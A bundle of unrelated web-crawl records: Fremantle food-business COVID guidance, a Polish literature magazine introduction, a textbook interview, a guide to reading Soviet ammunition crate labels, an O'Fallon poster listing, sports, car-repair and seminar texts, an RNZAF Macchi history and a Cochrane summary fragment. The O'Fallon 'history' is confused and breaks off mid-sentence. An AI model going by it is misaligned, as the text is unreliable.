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Covid-19 update for food businesses
We acknowledge this is a difficult time for all businesses as you adapt and change due to the restrictions imposed by the State and Federal Governments in response to the Coronavirus (COVID-19). We are committed to supporting our local businesses and will be providing clear guidance and information to assist you and your food business at this challenging time. Our friendly Environmental Health Officers will be visiting open food businesses to check in on how you are adapting to the current restrictions.
If your food business has temporarily closed or adapted to takeaway and/or deliveries, please contact the City's Environmental Health team via email [email protected] to advise of changes.
What can food businesses do?
Ensure safe and suitable food by adhering to the Food Safety Standards with measures such as:
- cleaning and sanitising, particularly all food contact surfaces
- thorough and frequent handwashing
- adequate temperature control for food storage and deliveries and
- taking all practicable measures to prevent food contamination by food handlers.
The World Health Organisation (WHO) has issued precautionary recommendations including advice on good hygiene practices during food handling and preparation, they include:
- washing hands between handling raw and cooked foods
- thorough cooking and proper handling of meat products
- covering your mouth and nose when coughing and sneezing and
- avoiding close contact with anyone showing symptoms of respiratory illness, such as coughing and sneezing.
As an added precaution, if you have suspected symptoms of respiratory illness you should avoid preparing food for other people and seek medical attention.
Read more information here
- Food Safety Standards and Coronavirus
- Clean hands prevent against infection
- Food Safety and COVID-19 factsheet (21 April 2020)
Is your business delivering food?
Make sure you are taking the necessary precautions to ensure safe and suitable food is delivered to your customers by:
- Package food in suitable food grade containers to prevent contamination.
- Ensuring food is kept at the appropriate temperature;
- Cold food to be delivered in a refrigerated food vehicle or insulated containers with ice bricks.
- Hot foods to be delivered as soon as possible and transported in insulated bags.
Further information on the safe transport of food can be found using this link Food Standards Code
Environmental cleaning for workplaces
Routine cleaning of frequently touched surfaces using appropriate detergent/disinfectant solutions or wipes is effective at minimising the risk of coronavirus (COVID-19) transmission.
It is recommended that the frequency of cleaning in all areas be increased. This is especially important in high traffic areas and areas accessed by the public.
Please click on the following links to view information on cleaning for general workplaces (non-healthcare settings) during the COVID-19 outbreak:
- Environmental cleaning for workplaces (PDF 88 kb) – WA Health Department
- Environmental cleaning and disinfection principles for COVID-19 factsheet – Australian Department of Health
Need more information?
To access up-to-date information about COVID-19 visit:
- Australian Government Department of Health
- WA Department of Health
- Food Standards Australia New Zealand (FSANZ)
- World Health Organisation
If you require any support, clarification and any queries or concerns, please do not hesitate to contact the City’s Environmental Health Team by email [email protected]
New food businesses
If you want to open a new food business within the City of Fremantle, you will need to first ensure you have correct planning approval and building approval for the premises. Please note that the Environmental Health Department cannot proceed with your application if you have not provided evidence that you have obtained the appropriate approvals for the site or written confirmation that the site has the appropriate approvals in place. Planning / Building can be contacted by phoning 1300 693 736 or email [email protected].
New food businesses must notify or register with the City's Environmental Health Department by completing the application to register a new food business. Our food business construction guidelines will provide you with detailed information on approval and construction requirements.
Please note that applicants wishing to trade from a market operating from a 'fixed set up' location including fixed stalls at the the Fremantle Markets and E-shed Markets must also complete an application to register a new food business. Stalls operating in a 'pop up' style are required to complete a temporary food stall application form.
To transfer the registration of a food business both the seller and purchaser must complete an application to transfer a food business and submit the form to the City's Environmental Health Team for approval.
Environmental health inspections
Our environmental health officers routinely inspect all food businesses within the City of Fremantle for compliance with the food act, regulations and food safety standards to ensure hygiene and structural requirements are being maintained. The inspection rate is dependent on the food types sold or produced, previous inspection results and if vulnerable consumer groups are the targeted population. We also regularly sample food from city based manufacturers such as bakeries and butchers.
I'm Alert - food safety training
Click here to find out more about food safety training.
Unique food vehicles
The City of Fremantle has embraced the emerging national and international food truck scene and are activating ‘forgotten’ public spaces though the launch of a unique food vehicle project. The intent is to identify under-utilised public spaces in the community and make them available to diverse food vehicle businesses that offer culturally unique, healthy, fresh, high quality, safe and reasonably priced food.
Read more on our unique food vehicle page.
Outdoor eating areas (alfresco dining)
Find out more about alfresco dining here.
Temporary food stalls (for markets or events)
Temporary food stall holders wishing to trade at approved events or at a recognised market within the City of Fremantle require approval from our Environmental Health Services team.
Find out more about temporary food stalls here.
Residential food premises
If you wish to sell food that you have prepared at home, then you must ensure you have obtained home occupation Planning approval first. Please note that the Environmental Health Department cannot proceed with your application if you have not provided evidence that you have obtained the appropriate Planning approvals for the site or confirmation from the Planning Department advising that the site has the appropriate approvals in place.
Once you have obtained the Planning information you will then need to complete the application to register a residential food business, and submit to the City of Fremantle.
For further information on what is required for residential food business to be suitable to prepare low risk foods visit the Department of Health website here or refer to the City's food business construction guidelines.
Food products are required to be labelled in accordance with the Food Standards Code. The only exemption from this is food produced solely for community or charity fund raising events. For more information you can download the following brochures:
- Food labelling - guidelines (for food stalls and other commercial food businesses)
- Food labelling - information for community and charity groups
The food standards Australia New Zealand website may also be very helpful. Providing a nutrition panel calculator, simply specify the ingredients used and the calculator with generate the nutrition panel information. | <urn:uuid:1f747beb-b172-48a0-bb15-fe46c89c886b> | CC-MAIN-2022-33 | https://www.fremantle.wa.gov.au/business/your-business/food-businesses | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573540.20/warc/CC-MAIN-20220819005802-20220819035802-00473.warc.gz | en | 0.929164 | 1,494 | 1.992188 | 2 |
Can bison read books? Well they can if they are Polish bison! And especially when they’ve been brought to life by star illustrator and Children’s Laureate Chris Riddell. These huge, rare and magnificent beasts – the Żubr or Bison bonasus gracing our cover – roam the ancient Białowieża Forest and are one of Poland’s proudest national symbols.
Poland’s literature is also hugely impressive and too rarely read in English. So we have dedicated our first edition of The Riveter to Polish writing and writing about Poland in English, roaming far and wide to forage for some of the most interesting reads and reviews, authors and translators, innovations and events, to make our contribution to London Book Fair 2017’s Polish Market Focus. With prize-winning author Deborah Levy agreeing to guest-edit, writer and editor West Camel editing, broadcaster and director of the European Literature Network Rosie Goldsmith as Riveter-in-Chief and with support from London Book Fair, the Polish Cultural Institute and the British Council, we are confident our Polish bison can now run wild and free.
Polish literature is in rude health. In a bid to reflect this vitality in our magazine, we’ve decided to feature the best new and recent Polish literature; to tantalise you with reviews of upcoming Polish writing; and to proselytise about the future by offering you a taster menu of work in Polish yet to be published in English.
For our first Riveter, we have a star line-up of Polish and European literature experts writing for us: polyglot and translator Julia Sherwood reviews one of this spring’s stand-out translations, Wioletta Greg’s Swallowing Mecury; Daniel Hahn, writer, translator and current Chair of the Society of Authors, reviews Clementine Loves Red, Krystyna Boglar’s delightful children’s book; and poet Sasha Dugdale reviews Jacek Dehnel’s latest poetry collection. We have literary appetizers from writers Julia Fiedorczuk and Artur Domosławski, reviews of crime-writing from Aga Lesiewicz and of the short stories of Agnieszka Dale (both Aga and Agnieszka are Polish writers working in English), as well as some non-fiction and a sprinkling of #RivetingReads – tweet-length book recommendations from our network of European literature fans.
Our special advisor on our selection of titles is the oracle of all things literary and Polish, the translator Antonia Lloyd-Jones. In addition, Harriet Williams of the British Council provides a line-up of the Polish writers appearing at London Book Fair, and Magda Raczyńska from the Polish Cultural Institute gives us the low-down on the what, when, who, where and how of Polish writing in the UK. And this magazine would not be possible without our very own Anna Blasiak – translator, Polish literature expert, and perfect Pole – who has created the volume you hold in your hands.
Our team has come together with one goal: to bring to light the best of Polish literature in English, and to reflect on how reading across borders nourishes us all. To demonstrate this we are giving pride of place in our magazine to the short story Black Vodka, from the eponymous collection by our guest editor Deborah Levy.
But that’s not all. We are extending our celebration of the LBF Poland Market Focus beyond this print magazine. This month, on our website, eurolitnetwork.com, we’ll be publishing even more reviews, views, previews and recommendations of Polish literature. And finally, at the end of March, an expanded version of The Riveter magazine will be available as a download on the site – a free gift, from the Żubr to you.
The European Literature Network was created to help promote, and raise the profile of, European writing in English. The website was created to support the Network. Our monthly #RivetingReviews were then launched online in 2015 to broaden the quality and quantity of reviews. Not only were the review pages in traditional media shrinking but they were, we felt, becoming too formulaic and impersonal, and the cast of critics – especially of foreign books – was too narrow. But our dream was always also to create a print magazine.
‘Riveting’ is both our ambition and Rosie’s nickname: ‘Rosie the Riveter’ was an American cultural icon in World War II. She was a factory riveter, an early feminist, representing female workers across the USA, and then adopted as a figure of Women’s Power across the world. She was also fictional – so, it’s a great story.
The Polish Riveter is our first print magazine, our baby bison taking a few modest steps but with the ambition to grow big and strong and roam free across the whole of European literature. Pick it up – for free – be caught by its gimlet eye and be riveted by the best of Polish literature.
By Rosie Goldmith and West Camel | <urn:uuid:3e915e21-a040-4d30-92cb-cc75cc67216a> | CC-MAIN-2022-33 | https://www.eurolitnetwork.com/the-riveter-introduction-by-rosie-goldsmith-and-west-camel/?replytocom=2403 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.93922 | 1,090 | 1.84375 | 2 |
Upcoming Curriculum Pilot Program and Cover Art Contest.
While there are statewide standards for science in Louisiana, exactly how to teach these principles (aka curriculum) is left up to the teacher in the classroom. And, although designing a curriculum can give a teacher much-needed room for creativity, it can be a daunting task to tackle every year. So, science teachers of the Pontchartrain Basin, we'd like to introduce you to your new best friend: Lessons on the Lake Third Edition. Replete with fully designed activities that meet Louisiana's science standards, Lessons on the Lake is a textbook designed for educators by educators.
Interview with Editor of a Class Room Favorite, Laine Farber:
Interviewer: What do you think the biggest difference is between the old and latest editions? What did you change?
Laine Farber: A lot has happened since the second edition was published in 2001: Hurricane Katrina; reopening the lake for recreational use; advances in science, and the development and implementation of dozens of new coastal restoration plans. The new edition includes updates on all of these important developments and much more! Our goal when rewriting this book has been to make it more accessible for educators. Keeping busy teachers in mind, we removed activities that require a plethora of expensive equipment and hours of prep-work. Plus, we added some new activities that focus on engaging students without breaking the bank.
Our Education Coordinator, Anne Barret, teaching Lusher Charter Students how to measure water clarity using a transparency tube. As an educator at the Pontchartrain Conservancy, she oversaw editing of the second edition of Lessons on the Lake.
I: What was your motivation?
LF: Our goal with this book is to provide educators with an aid for teaching children about coastal Louisiana and inspire environmental stewardship.
I: Who is this book meant for?
LF: The textbook is geared toward educators, elementary students, and middle school students, but we encourage anyone interested in learning more about the lake to pick up a copy.
I: What do you want students to take away from this book?
LF: One can learn quite a lot from Lessons on the Lake, but the one thing I hope students take away from the text is the cultural, economic, and environmental importance of Louisiana’s wetlands.
AmeriCorps and author/editor of the third edition of Lessons on the Lake, Laine Farber. She's pictured teaching Lusher Charter Students about water turbidity using a Secchi disk.
I: What part of the book are you most proud of?
LF: There is truly no one thing that I am most proud of in Lessons on the Lake. I am proud of everything! It has been a tedious, but fulfilling task thus far, and I am looking forward to seeing it through to the very end. I feel like a proud parent and I will probably cry when I unbox the first collection of reprints. We’re proud to be able to put environmental science curriculum into the hands of Louisiana’s teachers. What they do every day - educating our youth - is one of the most important jobs in our society.
I: When’s the rollout?
LF: Our plan is to begin the 2019-2020 school year with a pilot program, having teachers use the book with their students and give us feedback. We want teachers to find this to be a valuable asset to their classroom instruction and step one is that is getting feedback from the front line - the teachers in the classroom! A full rollout is planned after we revise the book based on our teacher feedback.
I: Tell me more about the cover art contest!
LF: We are excited to get the public involved with this project! On February 1, we will be launching a cover art contest. We are looking for submission of art inspired by the beautiful natural scenery of the Lake Pontchartrain Basin from local artists and student-artists. The contest is open to the public and will run through March 22. | <urn:uuid:e8ef315b-16f7-444a-b646-1e414de6eea4> | CC-MAIN-2022-33 | https://scienceforourcoast.org/lessons-on-the-lake-article/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573540.20/warc/CC-MAIN-20220819005802-20220819035802-00473.warc.gz | en | 0.953666 | 827 | 3.015625 | 3 |
Decoding Soviet Military Surplus Ammunition Labels
When you buy Soviet or Russian military surplus ammunition in "Spam cans" contained in wooden crates, you will find that the containers have cryptic labels. Unlike some merchandise that arrives in custom boxes and is clearly marked, these crates can be difficult to decipher. The markings clearly tell you about the bullet type, powder type, and year and place of manufacture, if you know how to decode the markings. Here is how to read Soviet military surplus ammunition labels.
Military surplus ammunition for classic Warsaw Pact weapons like the Mosin-Nagant or Kalashnikov usually comes in containers labeled in Russian using Soviet military nomenclature.
Here are two views of a wooden crate containing 7.62x54mmR ammunition. Once you know how to read the markings, you can clearly see that this crate contains 880 rounds of 7.62mm cartridges. The bullets are the standard military ball, not armor-piercing, tracer, or other even more exotic types.
The large triangle with the "2" on the top surface is a cargo classification, right next to it is the total weight and КГ or "kg", for kilogram.
The white stickers are actually in Czech, with the lower one repeating the same content in English.
To the right are Брутто and Нетто, brutto and netto, or gross and net weight.
We will be able to tell more once we open the case and see the markings on the sealed metal cans. That will tell us:
The cartridge cases are the usual bimetallic cases, steel clad with "gilding metal".
How old? The powder was manufactured in 1977, the same year the cartridges were loaded.
Manufactured where? The powder was manufactured in Kemerovsk, and the cartridges were assembled in Novosibirsk, if that matters to you.
Inside the wooden crate are two green metal "Spam Can" containers, as shown here. Resting on top is the included can opener. These are Russian military surplus, or more precisely, Soviet given their vintage.
The short version is that ЛПС is equivalent to "military ball" in U.S. nomenclature, but...
Let's learn how to decode Soviet military surplus ammunition labels
What we see on the can:
What that means:
|Caliber / Bullet type / Case type|
Lot - Year - Factory
Type Lot/Year Source
Let's start with the easy part.
7,62 specifies the caliber.
Like most Europeans, Russians use "," to indicate
the decimal point.
Next, almost as easy:
Did you notice that the wooden case was marked
and it contained two metal packages marked
ШТ is short for штука or shtuka — item, thing or piece. Two 440-round cans go into one 880-round case.
As for the rest of the markings, here is what I have
figured out with the help of the
and two U.S. military training manuals,
TM 30-544 Russian Military Dictionary
TM 30-546 Glossary of Soviet Military and Related Abbreviations.
You may also want to ask Google to search for
a DIA document from August, 1984 with explanations
of headstamps and packaging for most if not all countries:
"small-caliber ammunition identification guide"
||Lot series & number|
||Cartridge production year|
||Powder lot number|
||Powder production year|
Realize that, of course, the Soviets used the Russian language's Cyrillic alphabet. In some cases, such as the letters А К, М, О and Т, our corresponding Latin character looks the same. But often, the Cyrillic only looks like a Latin one. For example, Cyrillic В is equivalent to Latin V, Cyrillic Н is equivalent to Latin N, and so on. Others, like Cyrillic Ж, И, Ш, Щ, Я and several others are unlike anything in the Latin alphabet. Here is a quick guide to the Cyrillic alphabet.
Now let's decode the rest of the ammunition case markings.
|Б||Armor-piercing (also Б-30, Б-32)|
|БЗТ||Armor-piercing incendiary tracer (also БЗТ-44)|
|БС||Armor-piercing with special core of tungsten carbide instead of carbon steel (also БС-40, БС-41)|
|БСТ||Armor-piercing with tungsten carbide core with added tracer|
|Д||Heavy (long-range) with lead core instead of carbon steel|
|ЛПС||Light ball bullet with mild steel core|
|МДЗ||High explosive incendiary|
|П||Spotting / ranging (also П-41)|
|ПЗ||Incendiary spotting / ranging|
|ПС||Ball round with mild steel core|
|ПТ||Spotting / ranging tracer|
|Т||Tracer (also Т-30, Т-45, Т-46)|
|Cartridge with higher powder charge|
Caliber — Bullet type — Case type
ЛПС means Light ball bullet with mild steel core. An added two-digit number would indicate a bullet with a pattern introduced in that year. For example, Б-30 and Б-32 are armor-piercing bullet designed introduced in 1930 and 1932.
ГЖ = Bimetallic case. (steel case clad with gilding metal)
simply means it's 7.62mm light ball bullet
with mild steel core
in a gilded or copper-washed steel case
Lot series & number — year — Factory
simply means lot series Л54,
you would have to check with the factory records to figure
out what that really means.
The rest means that it was manufactured in 1977 at factory #188. That factory is in Novosibirsk (or Новосибирск) as this table tells us. The table is from the DIA "Small-Caliber Ammunition Identification Guide".
This table is for Russian factories. Other countries of manufacture will have their own codes. Bulgarian, for example, will have "10" in a double circle (and use БР as an abbreviation for "count" or "quantity").
The production year and factory number, 77 and 188, appear in the somewhat indistinct headstamp. That's a modern Russian commercial Bear cartridge at left, and one of the rounds from this surplus case at right.
As for the powder type and source, as seen above, ВТ is the type, С is the source, and it's lot #92 from 1977. I have only limited information on how to interpret the type and source codes. I don't know what type ВТ is, but source С is the "Progress" factory of Kemerovsk.
I see a lot of confused postings in on-line forums where people think that ВТ means "Boat-Tail" bullet. Remember that these cans are labeled in the Cyrillic alphabet and so ВТ is equivalent to Latin VT! However, the frequency of this misunderstanding suggests that ВТ is a common powder type. I would guess that the В stands for винтовочный or vintovochniy, meaning "for rifles".
Powder types and factories
Small-grain phlegmatized gun powder. A phlegmatizer is a material added to an explosive to make it more stable, less susceptible to detonation and safer to handle and transport.
Small arms spheroid — Nitroglycerin — phlegmatized (stabilized)
30 = average size of grains in hundredths of millimeters; that is an average grain size of 0.3 mm.
3,97 = average thermal energy developed, in MJ.
Pyroxylized powder, porous tubular grains, for pistols. Pyroxylin is a nitrocellulose compound soluble in ether and alcohol.
125 = Quantity of nitrate incorporated to obtain porosity. (used for blank rounds)
Pyroxylized powder, porous tubular grains, for pistols.
45 = Quantity of nitrate incorporated to obtain porosity. (used for subsonic rounds)
Don't count on this list being 100% complete or accurate. There is debate among specialists on the details of these. Factories used varying marks, sometimes (but not always) because the factories were renamed. Factory #577 in Solikamsk was established in 1941, then renamed Ural in 1966. Marks might be for a city name at times and the factory name at other times. "K" might indicate the city of Kazan, or maybe the S. M. Kirova factory in the city of Perm. Also see all the reorganization and renaming after the end of the Soviet Union, plus the spelling differences between Russian, Ukrainian, and Belorussian.
А — завод No100, Алексинский химический комбинат — Aleksinskiy khimecheskiy kombinat — Aleksinsky chemical plant.
Б — завод No577, Соликамский пороховой завод Урал — Solikamskiy porokhovoy zavod (1941), Solikamskiy zavod «Ural» (1966) — Solikamsk powder factory (1941), Solikamsk factory "Ural" (1966).
Е — завод No580, Красноярский завод Енисей — Krasnoyarskiy zavod «Yenisei» — Krasnoyarsk factory "Yenisei".
К — завод No98, Казанский пороховой завод — Kazanskiy porokhovoy zavod — Kazan powder factory. Or, К might indicate the Perm factory, which was named for С. М. Кирова (that is, S. M. Kirova) while С may mean the Kazan factory.
М — завод No98, Пермский пороховой завод — Permskiy porokhovoy zavod — Perm powder factory. Or possibly Kazan, see above.
Р — завод No101, Рошальский химкомбинат — Roshal'skiy khimkobinat — Roshal chemical factory.
С — Кемеровский завод Прогресс — Kemerovskiy zavod «Progress» — "Progress" factory of Kemerovsk. Or possibly Kazan, see above.
Т — завод No204, Тамбовский пороховой завод — Tambovskiy porokhovoy zavod — Tambov powder factory.
Ш — завод No9, Шксткинский завод Звезда — Shostkinskiy zavod «Zvezda» — Shostkinsk factory "Star".
ШЛ — завод No6, Морозовский химический завод — Morozovskiy khimicheskiy zavod — Morozovskiy chemical factory. It was designated ШЛ because it had earlier been the Шлиссельбургский or Shlissel'burgsky powder factory.
Ю — Гос. НИИХП, г. Казань — Гаучно-Исследовательский Институт Химических Продуктов — Gosudarstbenniy Nauchno-Issledovatel'skiy Institute Ximicheskikh Produktov, gorod Kazan' — State Scientific-Research Institute of Chemical Products, of the city of Kazan.
What about stripper clips?
I was contacted by someone wanting to make a highly accurate replica of an SKS ammunition crate. They wondered how "with stripper clips" might appear.
The dictionaries I have are for U.S. use, and so their Russian-to-English sections are significantly larger than the English-to-Russian section. "Clip" as it relates to ammunition was limited to a single entry for "magazine" in the English-to-Russian section, as in that part of a gun or else a detachable box magazine.
But then he found an illustration in the book Kalashnikov: The Arms and the Man: a Revised and Expanded Edition of the AK47 Story, by Edward Clinton Ezell (Cobourge, Ontario, Canada), 2001.
The phrase is "in" rather than "with" clips. Once I had what looked like the relevant word, sure enough, I could find it in the Russian-to-English section of a dictionary!
ВОБОИМАХ the illustration shows. There needs to be a space after the В or "in", and ideally a diacritical mark over a later letter. Military crates might omit the mark and use И instead of Й, expecting a native speaker to figure it out.
But, ideally, "in (stripper) clips" would be:
Transliterated for an English speaker to pronounce it:
Philippe Lafargue has written two fantastic references to the 7.69x39mm round as manufactured and packaged by Russia and by China. There's also a discussion on an SKS files forum.
Russian 7.62x39mm Chinese 7.62x39mm
Related pages on this site
"3-Line" Rifle Russian Military Nomenclature
for 9x18mm Handgun Ammunition 7.62x54mmR | <urn:uuid:dd485b7b-d6ba-4034-9269-ab55e5743550> | CC-MAIN-2022-33 | https://m1-garand-rifle.com/mil-surplus-ammo.php | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.790437 | 4,634 | 2.09375 | 2 |
Printed on premium quality, glossy, photo paper
Available in 3 sizes
Printed in the USA
History The area that would become O'Fallon was settled in the 1830s, and the community of Lebanon was founded in 1837. The first settlers were primarily farmers who grew hemp and tobacco, but by 1850 it had grown to include a sawmill, grist mill and a general store. In 1854 William Rumbarger donated land for what is now known as Old Town (the original town site) which included a log cabin schoolhouse built on his property; this building still stands today at 5th & Main Streets. By 1860 there were approximately 100 people living within the boundaries of present-day O'Fallon Township with several businesses including two blacksmith shops, three grocery stores one drugstore/druggist shop owned by Dr. | <urn:uuid:aae4b9b2-77e2-4afc-9291-e9d8c5eb0953> | CC-MAIN-2022-33 | https://postercollective.com/travel/united-states/missouri/o-fallon-85972035 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.989937 | 181 | 2.265625 | 2 |
As an athlete the best motivation to play is to love doing it. The three ingredients of motivation – knowing you can do it, getting encouragement from others, and having a good time - are important for keeping your "love of the game." ("May 2006 Newsletter Feature 1 ).
What is your motivation to play a sport? Do you compete because you are confident in your skills? How you feel about your abilities and the environment you compete in can make the difference between whether you are having fun or just running along. If you like the thrill of competing and enjoy feeling challenged both at practice and during competition then you have the ingredients to having fun ("May 2006 Newsletter Feature 4 ).
Having new challenges everyday helps you develop and demonstrate what you can do. Look for the best challenges that are right at your skill level. A goal that is too easy does not feel satisfying when you achieve it. A goal that is too challenging will feel disappointing when you are not successful. Tests that match the activity to you and not you to the activity are best. Work with your coach to set up challenges that are hard but realistic, focusing on the progression and continuing to make it challenging by adapting facilities, equipment, or activities ("May 2006 Newsletter Feature 1 ). Sure at times you will be frustrated with something that is hard to do but this setting encourages you to keep moving and keep having fun.
Do you enjoy encouraging others to challenge themselves? “Having fun” is related to good teammate relationships, looking forward to playing in games and practices, playing time, and continuing to learn new skills ("May 2006 Newsletter Feature 4 ). Recruit a group of friends to play a sport with you so you can set up an positive environment of encouragement. Friends challenge each other, work hard together and most important have fun together.
Are you getting too involved with sport and making it not fun anymore? Be careful not to try everything at once because you will burnout from sport all together. Competing all the time with no mental and physical break does not encourage approaching new challenges from a fresh look.
Did you start playing when you were very young? Do you see yourself as an athlete the rest of your life? The top four reasons for not continuing to participate in recreational sports are time constraints. As you get older you want to be a part of non-sport related activities. Stay involved in playing, it will help you stay healthy, challenged, and have fun.
Embracing a "love of the game" means understanding that many reasons are part of your participation. The major reasons you play sports is to develop and demonstrate you can do it, experience positive social interactions with friends, and enjoy yourself. These three reasons form the ingredients of your motivation - one that keeps you wanting to play. To maximize your motivation, have positive sport experiences by looking for the best challenges, relying on your social support, and continue to do activities you enjoy.
Copyright held by SportMedBC. For information contact [email protected]. | <urn:uuid:a4a1e801-9770-43eb-ac73-59773481fbef> | CC-MAIN-2022-33 | https://sportmedbc.com/article/love-game | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.961936 | 609 | 2.1875 | 2 |
For someone who owns a car, it is to have substantial knowledge on car repairs you’re able to perform on your pretty own. More often than not, it is an understatement that if you possess a personal vehicle, you learn how to change a flat tire, troubleshoot your air conditioning and you know how to proceed when the battery light on your dashboard suddenly starts to flash. However, that cannot be expected from a lot of car owners, thus stressing the importance of having an auto repair shop to go to during emergencies.
It is best opt for an auto shop for you to actually have a pressing need for it. Wanting a facility before you need one can help you arrive at a better decision. Also, choosing good auto repair shop must be based on fairly practical considerations.
First, it is vital to have a truck repair shop that is relatively near your house of residence. With car emergencies that you shouldn’t have a way of predicting its occurrence, it is essential do not would like to drive long distances just to buy car receive the care it requires at this time. If you trust a particular auto repair company and you have recently changed addresses, inquire whether they have a satellite location near your area. If it’s impossible to a good auto repair shop that is within the vicinity of your residence, pick any formidable auto repair company that is near compared to car dealer’s put. Quick response time can go a long way when it in order to a vehicle requirements immediate professional effort.
Once you have found a potential auto repair shop near your place, inspect the facility coffee grounds. Is it tidy? Is it well-organized? Does the shop have modern equipment and tools in their service bays? Auto services do possess a price, thus it is crucial to know just where exactly your money will go should you proceed in hiring their services. In case the facility meets your image expectations and level of professionalism, then that is money well-spent.
Another important aspect to consider when choosing an auto repair shop is to know whether they actually service your car’s make and type. There are auto repair shops that specialize on particular car makes and models, which can place you at an advantage if you want only knowledgeable a person to service your vehicle. Having technicians who know the theoretical and practical mechanisms of your vehicle can experience more confident about their skills and troubleshooting techniques.
It also helps if you look for indicators that can qualify a particular auto shop as someone that may truly trust. Does the company own several service awards under its side? Do they have customer service awards as well? Are they a member of the higher Business Bureau and also reputable consumer sectors? All these indicators symbolically function as a seal of approval that you can factor in one with less an auto repair center to trust.
N & N Auto Service
43753 Utica Rd, Sterling Heights, MI 48314 | <urn:uuid:90ddd5a7-129a-4e3d-a2f7-400263b2a6b8> | CC-MAIN-2022-33 | http://goldie.brainlisting.com/good-tips-choosing-car-repair-shop/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573540.20/warc/CC-MAIN-20220819005802-20220819035802-00473.warc.gz | en | 0.967171 | 597 | 1.601563 | 2 |
Milica Tomacevic – Tosca
From Machine Learning To Finance : A view on Stochastic Gradient Algorithm
Victor Reutenauer – Tosca
Stochastic gradient algorithm are used for optimization problems or calibration of a model. We present shortly their theoretical and historical aspects, and then their application in two fields. First how it can be used to solve stochastic control problem like hedging of portfolio in incomplete market with application to indifference pricing. Then we present their application to machine learning and computer vision. We draw a parrallel between control stochastic problem and calibration of neural network for object and scene detection. We present also their usage for application to Kmean algorithm that is used in quantization methods as well as clustering of data for which we present indexation of media. Namely having a large database of photos to query into.
Description of the lack of compactness in some functional embeddings and application to PDEs
David Lafontaine, LJAD (Laboratoire Jean Alexandre Dieudonné) – Géometrie, Analyse et Dynamique
Solutions of a lot of partial differential equations can be obtained as minimizers of certain quantities. When dealing with a minimizing sequence in a compact set, we can easily extract a limit and prove the existence of a solution, but in infinite dimension, boundnessness is not sufficient to obtain compactness. Describing the lack of compactness we are dealing with, can permit to extract subsequences. More recently, this approach has been extended to dynamical problems, in particular by Kenig and Merle, with a remarkable success. As an example, we present a recent result we obtained concerning the large-time behavior of the non linear Schrödinger equation with a potential. More precisely, we show that the equation behaves in a linear way for large times. | <urn:uuid:ddb32c3a-aa24-40b7-9c59-fc54beb3f9bf> | CC-MAIN-2022-33 | https://phd-seminars-sam.inria.fr/applied-mathematics-computation-and-simulation-part-v/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.91923 | 413 | 1.640625 | 2 |
RNZAF serial no. NZ6460
Manufacturer’s no. 6786
Currently stored in the Reserve Collection
Can be viewed on the Behind the Scenes Tour
The only Italian-made aircraft to fly with the RNZAF, the Macchi gave a generation of Air Force pilots their introduction to fast jet flying.
The MB-339 was developed during the 1970s in response to a request from the Italian Air Force for a replacement jet trainer. A derivation of its predecessor, the MB-326, the prototype first flew on 12 August 1976, and the first aircraft entered production soon after.
The RNZAF acquired 18 Aermacchi MB-339CBs in 1990, with deliveries beginning in 1991. All 18 aircraft were operated by No. 14 Squadron RNZAF at Ohakea. The MB-339, or ‘Macchi’ as it became known in the RNZAF, provided RNZAF pilots with the advanced flying training component of their ‘wings’ course. The Macchi also had a second-line attack capability when equipped with 12.7mm gun packs, bombs and rockets. With the disbandment of the RNZAF’s Air Combat Force in 2001, the Aermacchi was retired and put into storage at Ohakea. The majority of the fleet was sold in 2012, with the remainder being allocated to aviation museums around New Zealand.
NZ6460 was the first Macchi to be assembled and test flown in New Zealand and was officially handed over to No. 14 Squadron on 19 April 1991. On 28 November 1994, its pilot was forced to make a wheels-up landing at night following a ‘flame-out’ of the engine. A metal object had been ingested resulting in a complete loss of power shortly after take-off. The aircraft required extensive repair in Italy. As part of No. 14 Squadron’s aerobatic display team, the Black Falcons, NZ6460 took part in many displays around New Zealand throughout 2000 in celebration of the new millennium. It was transferred to the Air Force Museum of New Zealand in 2012. | <urn:uuid:ed17f820-a781-4006-90d2-5ca0a200bc58> | CC-MAIN-2022-33 | https://www.airforcemuseum.co.nz/aircraft/aermacchi-mb-339cb/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.97445 | 454 | 2.125 | 2 |
We used evidence from randomised controlled trials to assess the different forceps and vacuum suction cups used to achieve a vaginal birth.
What is the issue?
Late in labour, when the cervix (neck of the womb) is fully dilated, it is sometimes necessary to assist the birth of the baby through the vagina with an instrument. This may be because the mother is exhausted, suspected distress of the baby, or the mother has a medical condition preventing prolonged pushing.
Two types of instruments can be used: forceps or vacuum suction cups. Forceps are further divided into 'ordinary forceps' for when the baby's head is in the correct position and 'rotational forceps', which are used to turn the baby's head into the correct position. Vacuum cups can be divided into ones with rigid or flexible cups and into ones containing a handheld suction device or ones connected to a foot-operated or electric pump by a tube. This choice of instrument is often dictated by the clinical situation, but there is sometimes a choice.
Why is it important?
All types of instruments can cause complications for the mother or baby and all can also fail. It is therefore important to choose the correct instrument for the clinical situation with the best chance of ensuring a successful vaginal birth with the least risk of significant complications.
What evidence did we find?
We conducted a search on 14th May 2021. Our findings are based on 31 studies with a total of 5754 women and their babies.
